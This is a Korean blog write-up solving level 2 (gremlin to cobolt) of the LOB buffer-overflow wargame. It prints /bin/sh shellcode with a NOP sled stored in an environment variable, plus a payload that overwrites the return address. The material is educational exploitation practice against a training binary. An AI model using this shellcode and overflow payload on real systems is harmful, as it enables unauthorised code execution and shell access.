본문 바로가기
wargame/LOB

[포너블] LOB 2 - gremlin

by 아메리카노와떡볶이 2021. 9. 26.
728x90
LOB 2 - gremlin write up

gate 문제를 해결하고 얻은 gremlin의 password로 로그인하면 다음 문제가 열린다.

이번에는 cobolt가 보인다. 한번 열어보자

gate 문제와 똑같은거 아닌가했지만 buffer 의 크기가 16으로 작아진 것을 확인할 수 있다.

처음에 buffer가 작아진게 무슨 의미일까? 오히려 bof 공격을 사용하기 더 수월해진것 아닌가 생각했다. 지난 문제와 같은 방법으로 공격을 시도한다고 시뮬레이션해보니, 쉘코드를 작성하는 부분에서 막혔다.

쉘코드가 24바이트인데 버퍼의 크기가 16바이트 밖에 안되기때문에 버퍼에 쉘코드를 작성할 수 가 없었다.

 

이전 문제를 풀때도 버퍼에 크기를 작성하는 것 외에 환경변수를 이용하는 방법이 있었는데, 아마 gremlin에서 small  buffer를 준 까닭은 환경변수를 이용해서 공격하라고 의도한 것 같다

 

gate 문제를 풀 때 사용했던 쉘코드를 환경변수로 등록하자.

환경변수는 export 명령어를 통해 등록할 수 있다.

export shellcode=$(python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" ')

등록한 쉘 코드의 시작주소를 알아야하므로, getenv 함수를 통해 주소를 구해보자.

shellcode의 주소를 출력하는 c 파일을 하나 만들어주고 컴파일해서 실행한다.

쉘코드의 시작주소를 구했다.

 

이까지 했다면 사실상 다 푼 것이다.

./cobolt $(python -c 'print("\x90"*20+"\x96\xfe\xff\xbf")')

버퍼 16바이트 + sfp(4바이트) + 리틀엔디언으로 작성한 쉘코드의 시작주소를 가지고 만든 payload

 

 

 

해결 !

728x90

'wargame > LOB' 카테고리의 다른 글

[포너블] LOB 6 - wolfman  (0) 2021.09.30
[포너블] LOB 5 - orc  (0) 2021.09.30
[포너블] LOB 4 - goblin  (0) 2021.09.30
[포너블] LOB 3 - cobolt  (0) 2021.09.26
[포너블] LOB 1 - gate  (0) 2021.09.26

댓글